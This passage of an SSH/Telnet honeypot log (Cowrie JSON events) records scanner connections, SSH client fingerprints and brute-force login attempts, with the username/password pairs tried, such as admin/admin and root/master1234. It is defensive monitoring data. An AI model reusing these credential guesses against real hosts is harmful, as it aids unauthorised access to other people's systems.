group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:53:29.234679Z","src_ip":"87.251.64.176","session":"6351b6d947b7","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:53:29.541852Z","src_ip":"87.251.64.176","session":"6351b6d947b7","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:53:29.638396Z","session":"6351b6d947b7","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:53:29.733680Z","src_ip":"87.251.64.176","session":"6351b6d947b7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:53:29.830460Z","src_ip":"87.251.64.176","session":"6351b6d947b7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":44664,"dst_ip":"159.203.135.109","dst_port":23,"session":"87d53b1fc0a0","protocol":"telnet","message":"New connection: 69.4.83.194:44664 (159.203.135.109:23) [session: 87d53b1fc0a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:53:30.691985Z"}
{"eventid":"cowrie.session.connect","src_ip":"123.157.223.90","src_port":17150,"dst_ip":"159.203.135.109","dst_port":22,"session":"053d8dd8bf3d","protocol":"ssh","message":"New connection: 123.157.223.90:17150 (159.203.135.109:22) [session: 053d8dd8bf3d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:53:31.319303Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:53:31.324036Z","src_ip":"123.157.223.90","session":"053d8dd8bf3d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.56","src_port":58840,"dst_ip":"159.203.135.109","dst_port":22,"session":"e171ab5b5496","protocol":"ssh","message":"New connection: 213.209.159.56:58840 (159.203.135.109:22) [session: e171ab5b5496]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:53:31.436070Z"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:53:31.691396Z","src_ip":"123.157.223.90","session":"053d8dd8bf3d","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:53:32.662855Z","src_ip":"213.209.159.56","session":"e171ab5b5496","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:53:32.741322Z","src_ip":"213.209.159.56","session":"e171ab5b5496","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.221.248","src_port":59344,"dst_ip":"159.203.135.109","dst_port":22,"session":"cdbd39fb455c","protocol":"ssh","message":"New connection: 69.6.221.248:59344 (159.203.135.109:22) [session: cdbd39fb455c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:53:32.769645Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:53:32.774771Z","src_ip":"69.6.221.248","session":"cdbd39fb455c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:53:32.888300Z","src_ip":"69.6.221.248","session":"cdbd39fb455c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"im","password":"123456","message":"login attempt [im/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:53:33.028292Z","src_ip":"123.157.223.90","session":"053d8dd8bf3d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"marquel","password":"marquel","message":"login attempt [marquel/marquel] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:53:33.143271Z","src_ip":"213.209.159.56","session":"e171ab5b5496","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"systemd","password":"Voidsetdownload.so","message":"login attempt [systemd/Voidsetdownload.so] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:53:33.371807Z","src_ip":"69.6.221.248","session":"cdbd39fb455c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"marquel","password":"marquel1","message":"login attempt [marquel/marquel1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:53:34.228029Z","src_ip":"213.209.159.56","session":"e171ab5b5496","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"4.194.4.255","src_port":46664,"dst_ip":"159.203.135.109","dst_port":22,"session":"e725d967db0a","protocol":"ssh","message":"New connection: 4.194.4.255:46664 (159.203.135.109:22) [session: e725d967db0a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:53:34.277728Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:53:34.282510Z","src_ip":"4.194.4.255","session":"e725d967db0a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:53:34.396424Z","src_ip":"123.157.223.90","session":"053d8dd8bf3d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:53:34.491005Z","src_ip":"69.6.221.248","session":"cdbd39fb455c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:53:34.518881Z","src_ip":"4.194.4.255","session":"e725d967db0a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"marquel","password":"marquel123","message":"login attempt [marquel/marquel123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:53:35.312816Z","src_ip":"213.209.159.56","session":"e171ab5b5496","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ahmed","password":"P@ssw0rd","message":"login attempt [ahmed/P@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:53:35.498678Z","src_ip":"4.194.4.255","session":"e725d967db0a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"143.198.221.127","src_port":52470,"dst_ip":"159.203.135.109","dst_port":22,"session":"135cf4e22587","protocol":"ssh","message":"New connection: 143.198.221.127:52470 (159.203.135.109:22) [session: 135cf4e22587]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:53:36.079443Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:53:36.085145Z","src_ip":"143.198.221.127","session":"135cf4e22587","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.50.25.190","src_port":57322,"dst_ip":"159.203.135.109","dst_port":22,"session":"c3745eae42cd","protocol":"ssh","message":"New connection: 27.50.25.190:57322 (159.203.135.109:22) [session: c3745eae42cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:53:36.139118Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:53:36.144273Z","src_ip":"27.50.25.190","session":"c3745eae42cd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:53:36.334734Z","src_ip":"143.198.221.127","session":"135cf4e22587","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:53:36.369856Z","src_ip":"27.50.25.190","session":"c3745eae42cd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"marquel","password":"marquel1234","message":"login attempt [marquel/marquel1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:53:36.397346Z","src_ip":"213.209.159.56","session":"e171ab5b5496","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:53:36.737173Z","src_ip":"4.194.4.255","session":"e725d967db0a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ahmed","password":"P@ssw0rd","message":"login attempt [ahmed/P@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:53:37.303359Z","src_ip":"27.50.25.190","session":"c3745eae42cd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"fjbdfdjkdsfs541544AA@@","message":"login attempt [ubuntu/fjbdfdjkdsfs541544AA@@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:53:37.348674Z","src_ip":"143.198.221.127","session":"135cf4e22587","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"marquel","password":"marquel12345","message":"login attempt [marquel/marquel12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:53:37.482743Z","src_ip":"213.209.159.56","session":"e171ab5b5496","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:53:38.531336Z","src_ip":"27.50.25.190","session":"c3745eae42cd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.1","message":"Connection lost after 7.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:53:38.568046Z","src_ip":"213.209.159.56","session":"e171ab5b5496","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:53:38.597705Z","src_ip":"143.198.221.127","session":"135cf4e22587","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":48792,"dst_ip":"159.203.135.109","dst_port":23,"session":"165f11617f58","protocol":"telnet","message":"New connection: 69.4.83.194:48792 (159.203.135.109:23) [session: 165f11617f58]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:53:41.239988Z"}
{"eventid":"cowrie.session.connect","src_ip":"182.18.161.165","src_port":57354,"dst_ip":"159.203.135.109","dst_port":22,"session":"2524763c1468","protocol":"ssh","message":"New connection: 182.18.161.165:57354 (159.203.135.109:22) [session: 2524763c1468]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:54:00.764260Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:54:00.769463Z","src_ip":"182.18.161.165","session":"2524763c1468","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:54:00.984457Z","src_ip":"182.18.161.165","session":"2524763c1468","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"master1234","message":"login attempt [root/master1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:54:01.874254Z","src_ip":"182.18.161.165","session":"2524763c1468","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:54:03.097025Z","src_ip":"182.18.161.165","session":"2524763c1468","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.66226768493652,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:54:04.354124Z","src_ip":"69.4.83.194","session":"87d53b1fc0a0","protocol":"telnet"}
